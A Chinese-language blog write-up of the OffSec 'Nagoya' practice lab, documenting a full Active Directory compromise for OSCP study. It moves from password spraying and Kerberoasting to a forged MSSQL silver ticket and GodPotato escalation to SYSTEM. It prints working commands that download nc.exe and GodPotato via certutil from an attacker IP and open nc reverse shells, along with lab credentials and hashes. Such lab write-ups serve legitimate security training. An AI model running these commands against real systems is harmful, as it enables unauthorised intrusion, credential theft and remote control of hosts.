OSCP Nagoya Write-up

本文最后更新于 2026年3月12日 下午

一、靶场详情

靶场名称:

Nagoya

靶场地址:

OffSec Proving Grounds Practice 实验环境

二、思路总结

突破边界:

用户名、密码枚举 –> 域控 craig.carr 用户权限 –> kerberoast 攻击 –> 域控 svc_mssql 用户权限 –> 枚举 smb 服务,分析 .NET 二进制文件 –> 域控 svc_helpdesk 用户权限 –> bloodhound 分析,使用 svc_helpdesk 用户权限重置 christopher.lewis 用户密码 –> 域控 christopher.lewis 用户权限 –> 用户旗帜

权限提升:

chisel mssql 端口转发 –> 利用 svc_mssql 用户权限制作银票 –> mssql 服务管理员权限 –> 开启 xp_cmdshell,获取 svc_mssql 用户 shell –> 土豆提权 –> 域控 system 权限 –> 管理员旗帜

三、靶场攻击演示

3.1 靶场信息收集

TCP 端口扫描:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
sudo nmap -p- 192.168.171.21 --min-rate=2000

PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
3389/tcp open ms-wbt-server
5985/tcp open wsman
9389/tcp open adws
49666/tcp open unknown
49668/tcp open unknown
49676/tcp open unknown
49678/tcp open unknown
49679/tcp open unknown
49693/tcp open unknown
49708/tcp open unknown
49795/tcp open unknown

UDP 端口扫描:未发现有价值信息。

TCP 服务信息搜集:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
sudo nmap -p53,80,88,135,139,389,445,464,593,636,3268,3269,3389,5985,9389,49666,49668,49676,49678,49679,49693,49708,49795 -sCV 192.168.171.21

PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: Nagoya Industries - Nagoya
|_http-server-header: Microsoft-IIS/10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-09-25 04:07:31Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: nagoya-industries.com0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ldapssl?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: nagoya-industries.com0., Site: Default-First-Site-Name)
3269/tcp open globalcatLDAPssl?
3389/tcp open ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2025-09-25T04:09:06+00:00; -3s from scanner time.
| rdp-ntlm-info:
| Target_Name: NAGOYA-IND
| NetBIOS_Domain_Name: NAGOYA-IND
| NetBIOS_Computer_Name: NAGOYA
| DNS_Domain_Name: nagoya-industries.com
| DNS_Computer_Name: nagoya.nagoya-industries.com
| DNS_Tree_Name: nagoya-industries.com
| Product_Version: 10.0.17763
|_ System_Time: 2025-09-25T04:08:27+00:00
| ssl-cert: Subject: commonName=nagoya.nagoya-industries.com
| Not valid before: 2025-09-24T03:58:06
|_Not valid after: 2026-03-26T03:58:06
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
49666/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49676/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49678/tcp open msrpc Microsoft Windows RPC
49679/tcp open msrpc Microsoft Windows RPC
49693/tcp open msrpc Microsoft Windows RPC
49708/tcp open msrpc Microsoft Windows RPC
49795/tcp open msrpc Microsoft Windows RPC
Service Info: Host: NAGOYA; OS: Windows; CPE: cpe:/o:microsoft:windows

系统为 Windows 域环境,开放有 HTTP、WINRM、RDP 和 Windows 域控的一些默认服务。

靶机域控信息:

1
2
3
4
# 域控域名
nagoya-industries.com
# 域控 KDC
nagoya.nagoya-industries.com

3.2 渗透测试突破边界

3.2.1 域控用户名密码枚举

在 kali 添加靶机域控域名解析(域名、KDC)。

1
echo "192.168.171.21\tnagoya.nagoya-industries.com nagoya-industries.com" | sudo tee -a /etc/hosts

靶机 LDAP、SMB、RPC 服务枚举过程均未发现有价值信息,访问靶机 HTTP 80 页面,在 team 页面发现用户姓名信息。

将用户 First Name 和 Last Name 复制到文本中,通过 username-anarchy 工具生成用户名字典。

1
https://github.com/urbanadventurer/username-anarchy

1
./username-anarchy -i ~/Desktop/offsec/Nagoya/user > ~/Desktop/offsec/Nagoya/users

使用 kerbrute 工具可验证字典用户名有效性。

1
https://github.com/ropnop/kerbrute
1
./kerbrute_linux_amd64 userenum --dc 192.168.171.21 -d nagoya-industries.com ~/Desktop/offsec/Nagoya/users

将正确用户名保存至文本中。

通过正确的用户名尝试 AS-REP 攻击,未发现不需要预身份验证用户,使用简单的密码爆破也没有得到正确口令,尝试 web 目录枚举也没有发现有价值信息,当系统所有服务都没法得到立足点的时候,那就只剩下爆破这一种方法。

web 页面底部泄漏了系统发布日期,通过季节与日期的组合生成一份新的字典。

使用 nxc 工具执行密码爆破,得到 craig.carr 用户密码。

1
nxc smb 192.168.171.21 -u username -p password --continue-on-success

craig.carr 用户无法登录靶机 winrm 服务,smb 服务除了一些默认目录外没有其他特殊目录。

这个靶机的爆破密码本让人很难想到,OSCP 考试出题的脑洞非常大,如果遇到这种密码爆破题型,使用 cewl 搜集的密码字典无法爆破成功,就需要将透露的信息组合起来,生成一份新的密码本。

3.2.2 Kerberoast 攻击得到 SVC_MSSQL 用户密码

使用 bloodhound-python 搜集域控信息。

1
bloodhound-python -d nagoya-industries.com -u 'craig.carr' -p 'Spring2023' -ns 192.168.171.21 -c ALL --zip

将搜集的信息导入 bloodhound,查找到达 domain admin 最短路径,发现只有 developers 组对域控具有远程管理权限,该组共有两个用户(christopher.lewis、elaine.brady),其中 helpdesk 组对 christopher.lewis 用户具有 GenericAll 权限,因此,只要我们可以得到 helpdesk 组的任意用户权限即可拥有对 christopher.lewis 用户的 enericAll 权限,之后便可尝试利用该权限修改 christopher.lewis 用户密码。

通过 bloodhound 发现域控存在 svc_mssql 和 svc_helpdesk 两个服务账号,可尝试 kerberoast 攻击。

使用 impacket-GetUserSPNs 工具得到 svc_mssql 和 svc_helpdesk 用户服务票据,使用 hashcat 破解,得到 svc_mssql 用户明文密码(svc_helpdesk 无法破解)。

1
impacket-GetUserSPNs nagoya-industries.com/craig.carr:Spring2023 -request -dc-host nagoya.nagoya-industries.com

1
hashcat mssql_hash ~/Desktop/rockyou.txt

3.2.3 SMB 共享目录二进制文件泄漏 SVC_HELPDESK 用户密码

svc_mssql 用户不属于 helpdesk 组,依旧无法获取域控远程管理权限,枚举 SMB NETLOGON 目录时发现了 ResetPassword 目录,该目录包含大量可执行程序,可将其下载至本地。

1
2
3
smbclient //192.168.171.21/NETLOGON -U svc_mssql
prompt
mget *

直接通过 strings 命令没有得到有价值信息,通过 file 命令得知程序使用了.Net 编译,可使用 ILSpy 工具执行反编译,还原程序源代码。

在还原的源码中发现 svc_helpdesk 用户密码, 注意: 在 Windows 系统运行的 ILSpy 工具。

3.2.4 SVC_HELPDESK 用户重置 CHRISTOPHER.LEWIS 用户密码

svc_helpdesk 用户属于 helpdesk 组,可利用 svc_helpdesk 用户修改 christopher.lewis 用户密码,通过点击 bloodhound help 可得到攻击步骤。

1
2
net rpc password "CHRISTOPHER.LEWIS" "newP@ssword2022" -U "nagoya-industries.com"/"svc_helpdesk"%"U299iYRmikYTHDbPbxPoYYfa2j4x4cdg" -S "nagoya-industries.com"
nxc winrm 192.168.171.21 -u "CHRISTOPHER.LEWIS" -p "newP@ssword2022"

使用 evil-winrm 连接靶机(CHRISTOPHER.LEWIS 权限)。

1
evil-winrm -i 192.168.171.21 -u CHRISTOPHER.LEWIS -p newP@ssword2022

3.2.5 用户旗帜获取

3.3 提权获取系统管理员权限

3.3.1 SVC_MSSQL 用户服务银票获取交互 SHELL

靶机本地开放有 mssql 服务,由于防火墙规则无法在 kali 直接访问该服务,使用 chisel 将 1433 端口转发到 kali 本地。

1
2
3
4
5
6
wget http://192.168.45.227/chisel_1.10.1_windows_amd64.exe -O chisel_1.10.1_windows_amd64.exe

# kali
chisel server -p 80 -reverse
# shell
.\chisel_1.10.1_windows_amd64.exe client 192.168.45.227:80 R:1433:127.0.0.1:1433

此时通过用户名和密码连接获取的为 guest 用户权限,由于我们已经知道了服务用户密码,可通过该密码伪造高权限的服务票据(银票),利用高权限票据访问 mssql 服务,即可得到管理员权限。

1
2
3
4
5
6
impacket-ticketer -nthash 'E3A0168BC21CFB88B95C954A5B18F57C' -domain-sid 'S-1-5-21-1969309164-1513403977-1686805993' -domain 'nagoya-industries.com' -spn 'MSSQL/nagoya.nagoya-industries.com' administrator

-nthash:服务账号密码的NTLM格式
-domain-sid:域控sid
-domain:域控域名
-spn:理论上输入任意spn均可,但尽量使用真实的服务spn

域控的信息可上传 powerview 脚本获取。

1
2
3
. .\PowerView.ps1
get-domainsid
get-netdomain

1
get-netuser -spn | select name,serviceprincipalname

设置票据环境变量。

1
export KRB5CCNAME=$PWD/administrator.ccache

由于我们连接的是本地 127 端口,所以需要修改 hosts 文件。

使用银票连接靶机 mssql 服务,得到服务管理员权限。

开启 xp_cmdshell,利用 xp_cmdshell 下载 nc 并执行反弹 shell,得到系统 svc_mssql 用户 shell。

1
xp_cmdshell "certutil -urlcache -split -f http://192.168.45.227:445/nc.exe C:\users\public\nc.exe"

1
2
3
4
5
# kali
nc -lvnp 139

# shell
xp_cmdshell "C:\users\public\nc.exe 192.168.45.227 139 -e cmd.exe"

关于 Windows 身份认证、域控金票银票详细内容可参考历史文章(点击访问)

3.3.2 SVC_MSSQL 用户土豆提权获取系统 SYSTEM 权限

svc_mssql 用户具有 SeImpersonatePrivilege 特权,利用该配置可通过土豆工具提升至系统 system 权限。

Windows 安装有 4.0 .NET,可上传 GodPotato 工具获取系统 system 权限。

1
2
certutil -urlcache -split -f http://192.168.45.227:445/GodPotato-NET4.exe
GodPotato-NET4.exe -cmd "cmd /c whoami"

获取 system shell。

1
2
3
4
5
# kali
nc -lvnp 445

# shell
GodPotato-NET4.exe -cmd "C:\users\public\nc.exe 192.168.45.227 139 -e cmd.exe"

3.3.3 管理员旗帜获取

Thanks

如果我的文章对您有帮助或您希望与我更多交流,欢迎点击「关于我」,通过页面中的微信公众号、邮箱或 Discord 与我联系;若您发现文章中存在任何错误或不足之处,也非常欢迎通过以上方式指出,在此一并致以衷心的感谢。 😊🫡

最后,祝您生活愉快!🌞✨